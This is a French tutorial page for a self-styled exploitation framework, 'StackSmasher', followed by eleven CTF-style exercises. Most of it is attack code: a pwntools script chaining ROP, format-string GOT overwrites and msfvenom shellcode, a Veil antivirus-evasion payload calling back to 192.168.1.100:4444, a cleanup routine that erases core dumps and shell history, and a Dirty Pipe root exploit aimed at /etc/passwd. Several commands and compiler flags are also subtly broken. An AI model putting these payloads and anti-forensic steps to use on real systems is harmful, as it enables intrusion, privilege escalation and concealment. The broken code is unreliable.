💀 STACKSMASHER – LE BRISEUR DE PILES 💀

Un framework bas niveau ultime pour dominer les binaires – Lab only !

🔨 Bienvenue dans l’Abîme !

StackSmasher, c’est le king des frameworks bas niveau. Analyse statique avec Ghidra, support x86/x64/ARM/MIPS, plugins extensibles, rapports PDF, et contournements pour ASLR/NX/Canaries. On casse les binaires, on escalade les privilèges, et on reste furtif avec Veil. Kali, lab fermé. Prêt à régner ? 💀

🏭 Ton Labo

Un setup multi-archi :

⚙️ Setup de la Bête

Installe tout :

sudo apt update && sudo apt install -y gdb gef radare2 python3-pip checksec qemu-user-static pandoc
sudo apt install -y gcc-arm-linux-gnueabihf gcc-mips-linux-gnu
pip3 install pwntools unicorn veil
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.0.1_build/ghidra_11.0.1_PUBLIC_20240130.zip -O ghidra.zip
unzip ghidra.zip -d /opt/ghidra
git clone https://github.com/maximevince/Shellshock.git
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git

Ghidra : `/opt/ghidra/ghidraRun` pour tester.

🔍 Analyse Avancée

Binaire vulnérable :

#include 
#include 
void vuln() {
    char buffer[64];
    printf("Entre ton texte : ");
    gets(buffer);
    printf("Tu as écrit : %s\\n", buffer);
}
int main() { vuln(); return 0; }
# gcc -m32 -fno-stack-protect -no-pie -o vuln vuln.c

Ghidra

/opt/ghidra/support/analyzeHeadless . tmp -import vuln -postScript Analyze.java

Radare2

r2 -A vuln
aaa
s sym.vuln
pdf

GEF

gdb -q vuln
gef> break vuln
gef> run < <(python3 -c 'print(\"A\"*100)')
gef> pattern offset $eip

💥 Framework

`smasher.py` :

from pwn import *
import subprocess
import os

context.log_level = "info"
elf = context.binary = ELF("./vuln", checksec=False)

ARCH_CHOICES = {
    "x86": {"compiler": "gcc -m32", "rop": ROP},
    "x64": {"compiler": "gcc", "rop": ROP},
    "arm": {"compiler": "arm-linux-gnueabihf-gcc", "rop": ROP},
    "mips": {"compiler": "mips-linux-gnu-gcc", "rop": ROP}
}

PLUGINS = {"forensics": "plugins/forensics.py", "fuzzing": "plugins/fuzz.py"}

def detect_protections():
    subprocess.run("checksec --file=./vuln", shell=True)

def ghidra_analyze():
    subprocess.run("/opt/ghidra/support/analyzeHeadless . tmp -import vuln -postScript Analyze.java", shell=True)

def bypass_aslr():
    return b"\x90" * 40 + asm(shellcraft.sh())

def rop_chain(arch="x86"):
    rop = ARCH_CHOICES[arch]["rop"](elf)
    rop.call("system", [next(elf.search(b"/bin/sh\x00"))])
    return rop.chain()

def format_string_exploit():
    payload = fmtstr_payload(6, {elf.got["printf"]: elf.symbols["system"]})
    return payload

def gen_polymorphic_shellcode():
    return subprocess.getoutput("msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/shikata_ga_nai -i 5 -f raw").encode()

def generate_stealth_exe():
    subprocess.run("veil -t Evasion -p python/shellcode_inject/aes_encrypt -o stealth --ip 192.168.1.100 --port 4444", shell=True)

def forensic_cleanup():
    subprocess.run("rm -f core.*; echo 0 > /proc/sys/kernel/core_pattern; history -c", shell=True)

def load_plugin(name):
    with open(PLUGINS[name]) as f:
        exec(f.read(), globals())

def generate_report():
    with open("report.md", "w") as f:
        f.write("# StackSmasher Report\\n## Analyse\\n- Protections: `checksec`\\n## Exploit\\n- Payload: A*72 + ROP")
    subprocess.run("pandoc report.md -o report.pdf --template=eisvogel --listings", shell=True)

def exploit(arch="x86"):
    detect_protections()
    ghidra_analyze()
    p = process("./vuln")
    offset = 72
    if "NX" in subprocess.getoutput("checksec --file=./vuln"):
        payload = b"A" * offset + rop_chain(arch)
    elif "Canary" in subprocess.getoutput("checksec --file=./vuln"):
        payload = format_string_exploit()
    else:
        payload = b"A" * offset + p32(0xdeadbeef) + gen_polymorphic_shellcode()
    p.sendline(payload)
    p.interactive()
    forensic_cleanup()
    generate_report()

if __name__ == "__main__":
    exploit()

Run : `python3 smasher.py`

🧠 Carte Mémoire

Stack

[ buffer ][ EBP ][ RET ][ shellcode ]

Heap

[ malloc ][ free ][ ... ]

GOT/PLT

printf → system
[ Attaquant ]
  │
  ├─[ Payload ] → [ A*72 + RET + shellcode ]
  │                 │
  │                 └─[ Écrase EIP ]
  │
  └─[ Envoie ] → [ Binaire ]
                    │
                    └─[ /bin/sh ]

🛡️ Contournement Protections

Tableau Comparatif

ProtectionContournementCommande
ASLRInfoleak/GOT overwritevmmap
NXROP/JOPROPgadget --binary vuln
CanaryFormat stringfmtstr_payload()
RELROGOT hijackingreadelf -r vuln
PIEBruteforce/Leakvmmap

🖥️ GDB Dashboard

break *vuln+42
run < <(python3 -c 'print(\"A\"*72 + \"BBBB\")')
dashboard -layout regs disasm stack

🧩 Plugins

forensics.py :

def analyze_core():
    print("Analyse du core dump...")
    subprocess.run("gdb vuln core -q -x dump.gdb", shell=True)

fuzz.py :

def fuzz_binary():
    for i in range(1000):
        subprocess.run(f"echo 'A'*{i} | ./vuln", shell=True)

Load : `load_plugin("forensics")`

📜 Rapports Automatisés

Génère un PDF :

echo "# StackSmasher Report" > report.md
python3 smasher.py  # Ajoute au rapport
pandoc report.md -o report.pdf --template=eisvogel --listings

⚠️ Attention !

Lab Only : Illégal hors lab fermé.

Sécu : Réseau isolé obligatoire.

🎯 Exercices CTF – Maîtrise le Bas Niveau

11 défis pour devenir un ninja des exploits. Générez les binaires vulnérables, testez vos payloads. Prêt à casser des piles?

🛠️ Setup pour les Exercices CTF

Avant de commencer les exercices, assurez-vous d’avoir les outils nécessaires pour compiler et exécuter les binaires vulnérables. Si vous avez déjà suivi la section Setup, la plupart des outils sont déjà installés. Voici les prérequis supplémentaires spécifiques aux exercices :

sudo apt update
sudo apt install -y gcc gcc-arm-linux-gnueabihf  # Pour compiler les binaires x86 et ARM
pip3 install boofuzz  # Pour l’exercice 9 (fuzzing)
    

Assurez-vous que votre système est configuré pour exécuter des binaires 32 bits (nécessaire pour la plupart des exercices) :

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install -y libc6:i386 libncurses5:i386 libstdc++6:i386
    

Si vous travaillez sur une machine ARM (ex. : Raspberry Pi) pour l’exercice 6, vous pouvez utiliser directement gcc au lieu de arm-linux-gnueabihf-gcc.

Pour les exercices nécessitant des privilèges root (ex. : activation d’ASLR ou Dirty Pipe), vous devrez exécuter certaines commandes avec sudo.

Exercice 1 : Crash Basique (Débutant)

Objectif

Faire crasher un binaire avec un buffer overflow simple.

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln1.c avec le code ci-dessus, puis compilez-le :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln1.c
gcc -m32 -fno-stack-protector -no-pie -o vuln1 vuln1.c
chmod +x vuln1
            

Solution

python3 -c 'print("A"*100)' | ./vuln1
            

Analyse

Crash à 80 caractères (64 buffer + 16 EBP).

Validation

Exercice 2 : Contrôle d'EIP (Intermédiaire)

Objectif

Rediriger l’exécution vers win().

#include 
void win() { system("/bin/sh"); }
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln2.c avec le code ci-dessus, puis compilez-le :

echo '#include \nvoid win() { system("/bin/sh"); }\nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln2.c
gcc -m32 -fno-stack-protector -no-pie -o vuln2 vuln2.c
chmod +x vuln2
            

Solution

from pwn import *
elf = ELF('./vuln2')
payload = b"A"*72 + p32(elf.symbols['win'])
process('./vuln2').sendline(payload)
            

Validation

Exercice 3 : ROP Chain (Avancé)

Objectif

Bypass NX avec ROP pour system("/bin/sh").

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln3.c avec le code ci-dessus, puis compilez-le avec NX activé :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln3.c
gcc -m32 -fno-stack-protector -no-pie -o vuln3 vuln3.c
chmod +x vuln3
            

Vérifiez les protections avec checksec --file=vuln3 (NX devrait être activé par défaut sur les systèmes modernes).

Solution

rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh"))])
payload = b"A"*72 + rop.chain()
            

Validation

Exercice 4 : Format String (Expert)

Objectif

Écraser GOT de printf par system.

#include 
int main() {
    char input[64];
    fgets(input, 64, stdin);
    printf(input);
}
            

Génération du Binaire

Créez un fichier vuln4.c avec le code ci-dessus, puis compilez-le :

echo '#include \nint main() {\n    char input[64];\n    fgets(input, 64, stdin);\n    printf(input);\n}' > vuln4.c
gcc -m32 -fno-stack-protector -no-pie -o vuln4 vuln4.c
chmod +x vuln4
            

Solution

payload = fmtstr_payload(6, {elf.got["printf"]: elf.symbols["system"]})
            

Validation

Exercice 5 : Shellcode Custom (Hardcore)

Objectif

Exécuter un shellcode personnalisé avec ASLR.

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln5.c avec le code ci-dessus, puis compilez-le :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln5.c
gcc -m32 -fno-stack-protector -no-pie -o vuln5 vuln5.c
chmod +x vuln5
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space  # Active ASLR
            

Solution

context.arch = 'i386'
shellcode = asm(shellcraft.sh())
payload = b"A"*72 + p32(0xffffd100) + shellcode
            

Validation

Exercice 6 : Exploit ARM (Architectures)

Objectif

Exploiter un binaire ARM vulnérable.

#include 
void vuln() {
    char buffer[64];
    gets(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln_arm.c avec le code ci-dessus, puis compilez-le pour ARM :

echo '#include \nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n}\nint main() { vuln(); }' > vuln_arm.c
arm-linux-gnueabihf-gcc -march=armv7-a -o vuln_arm vuln_arm.c
chmod +x vuln_arm
            

Vérifiez avec file vuln_arm (doit indiquer ELF 32-bit LSB ARM).

Solution

context.arch = 'arm'
rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh"))])
            

Validation

Exercice 7 : Bypass Canary (Ninja)

Objectif

Lire le canary via format string.

#include 
void win() { system("/bin/sh"); }
void vuln() {
    char buffer[64];
    gets(buffer);
    printf(buffer);
}
int main() { vuln(); }
            

Génération du Binaire

Créez un fichier vuln7.c avec le code ci-dessus, puis compilez-le avec Canary activé :

echo '#include \nvoid win() { system("/bin/sh"); }\nvoid vuln() {\n    char buffer[64];\n    gets(buffer);\n    printf(buffer);\n}\nint main() { vuln(); }' > vuln7.c
gcc -m32 -fstack-protect -no-pie -o vuln7 vuln7.c
chmod +x vuln7
            

Vérifiez avec checksec --file=vuln7 (Stack Canary doit être activé).

Solution

payload = b"%23$p"  # Leak canary
canary = int(process('./vuln7').recvline(), 16)
payload = b"A"*64 + p32(canary) + b"B"*12 + p32(win)
            

Validation

Exercice 8 : Exploit Dirty Pipe (CVE)

Objectif

Escalade root via CVE-2022-0847.

uname -a  # Linux 5.8+
            

Génération du Binaire

Utilisez le code de l’exploit Dirty Pipe cloné dans la section Setup :

cd CVE-2022-0847-DirtyPipe-Exploits
gcc -o exploit dirtypipe.c
chmod +x exploit
            

Solution

./exploit /etc/passwd
            

Validation

Exercice 9 : Fuzzing Automatisé (Professionnel)

Objectif

Trouver un crash avec boofuzz.

#include 
#include 
#include 
#include 
#include 
int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server = {0};
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(9999);
    bind(sock, (struct sockaddr*)&server, sizeof(server));
    listen(sock, 5);
    int client = accept(sock, NULL, NULL);
    char buffer[1024];
    recv(client, buffer, 1024, 0);
    if (strncmp(buffer, "TRUN ", 5) == 0) {
        char data[100];
        strcpy(data, buffer + 5);
        printf("Received: %s\n", data);
    }
    close(client);
    close(sock);
}
            

Génération du Binaire

Créez un fichier vuln9.c avec le code ci-dessus, puis compilez-le :

echo '#include \n#include \n#include \n#include \n#include \nint main() {\n    int sock = socket(AF_INET, SOCK_STREAM, 0);\n    struct sockaddr_in server = {0};\n    server.sin_family = AF_INET;\n    server.sin_addr.s_addr = INADDR_ANY;\n    server.sin_port = htons(9999);\n    bind(sock, (struct sockaddr*)&server, sizeof(server));\n    listen(sock, 5);\n    int client = accept(sock, NULL, NULL);\n    char buffer[1024];\n    recv(client, buffer, 1024, 0);\n    if (strncmp(buffer, "TRUN ", 5) == 0) {\n        char data[100];\n        strcpy(data, buffer + 5);\n        printf("Received: %s\\n", data);\n    }\n    close(client);\n    close(sock);\n}' > vuln9.c
gcc -m32 -fno-stack-protector -no-pie -o vuln9 vuln9.c
chmod +x vuln9
            

Lancez le binaire dans un terminal : ./vuln9.

Solution

from boofuzz import *
session = Session(target=Target(connection=SocketConnection("localhost", 9999)))
s_initialize("TRUN")
s_string("TRUN")
s_delim(" ")
s_string("FUZZ")
session.connect(s_get("TRUN"))
session.fuzz()
            

Validation

Exercice 10 : Veil-Evasion (Furtivité)

Objectif

Générer un payload furtif.

veil -t Evasion -p python/shellcode_inject/aes_encrypt -o stealth --ip 192.168.1.100 --port 4444
            

Génération

Aucun binaire à compiler, utilisez Veil directement comme indiqué dans la section Setup.

Validation

Exercice 11 : Ghidra Reverse (Reverse)

Objectif

Analyser un binaire crackme.

#include 
#include 
int main(int argc, char *argv[]) {
    if (argc != 2) return 1;
    if (strcmp(argv[1], "password123") == 0) {
        printf("Success!\n");
        return 0;
    }
    printf("Wrong password.\n");
    return 1;
}
            

Génération du Binaire

Créez un fichier crackme.c avec le code ci-dessus, puis compilez-le :

echo '#include \n#include \nint main(int argc, char *argv[]) {\n    if (argc != 2) return 1;\n    if (strcmp(argv[1], "password123") == 0) {\n        printf("Success!\\n");\n        return 0;\n    }\n    printf("Wrong password.\\n");\n    return 1;\n}' > crackme.c
gcc -m32 -o crackme crackme.c
chmod +x crackme
            

Solution

ghidra_headless ./crackme -import -postScript Analyze.java
            

Validation